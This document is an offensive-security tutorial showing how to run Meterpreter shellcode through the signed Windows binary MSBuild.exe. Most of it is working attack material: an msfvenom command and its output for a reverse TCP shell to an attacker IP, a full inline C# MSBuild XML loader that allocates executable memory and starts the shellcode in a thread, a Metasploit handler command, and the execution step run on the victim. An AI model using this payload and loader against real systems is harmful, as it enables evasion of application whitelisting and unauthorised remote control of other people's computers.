Using MSBuild to Execute Shellcode in C#

It's possible to use a native windows binary MSBuild.exe to compile and execute inline C# code stored in a xml as discovered by Casey Smith.

Generating Shellcode

We start by using msfvenom to create shellcode that we can embed into a malicious xml file for client side execution.

λ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=443 -f csharp

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of csharp file: 1759 bytes byte[] buf = new byte[341] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c, 0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54, 0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x00,0x05, 0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50, 0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5, 0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67, 0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff, 0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00, 0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56, 0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58, 0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85, 0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1, 0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };

Modifying XML Payload

As you can see in line 44 & 45 we must insert our shellcode created in the previous step into the XLM file.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample :  Task, ITask
{         
private static UInt32 MEM_COMMIT = 0x1000;          
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
[DllImport("kernel32")]
private static extern IntPtr CreateThread(            
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId           
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(           
IntPtr hHandle,
UInt32 dwMilliseconds
);          
public override bool Execute()
{
//replace with your own shellcode
byte[] shellcode = new byte[] { INSERT MSFVENOM HERE };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
} 
}     
]]>
</Code>
</Task>
</UsingTask>
</Project>

Our finished payload with our shellcode inserted should look like:

Malicious XML File

Creating a Handler

We next create a handler on our attacker (kali) box by executing the following:

msfconsole -x "use exploits/multi/handler; set lhost 192.168.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"

Client-Side Execution

Using your weaponzation and delivery methods of execute the following on the machine:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\bad\bad.xml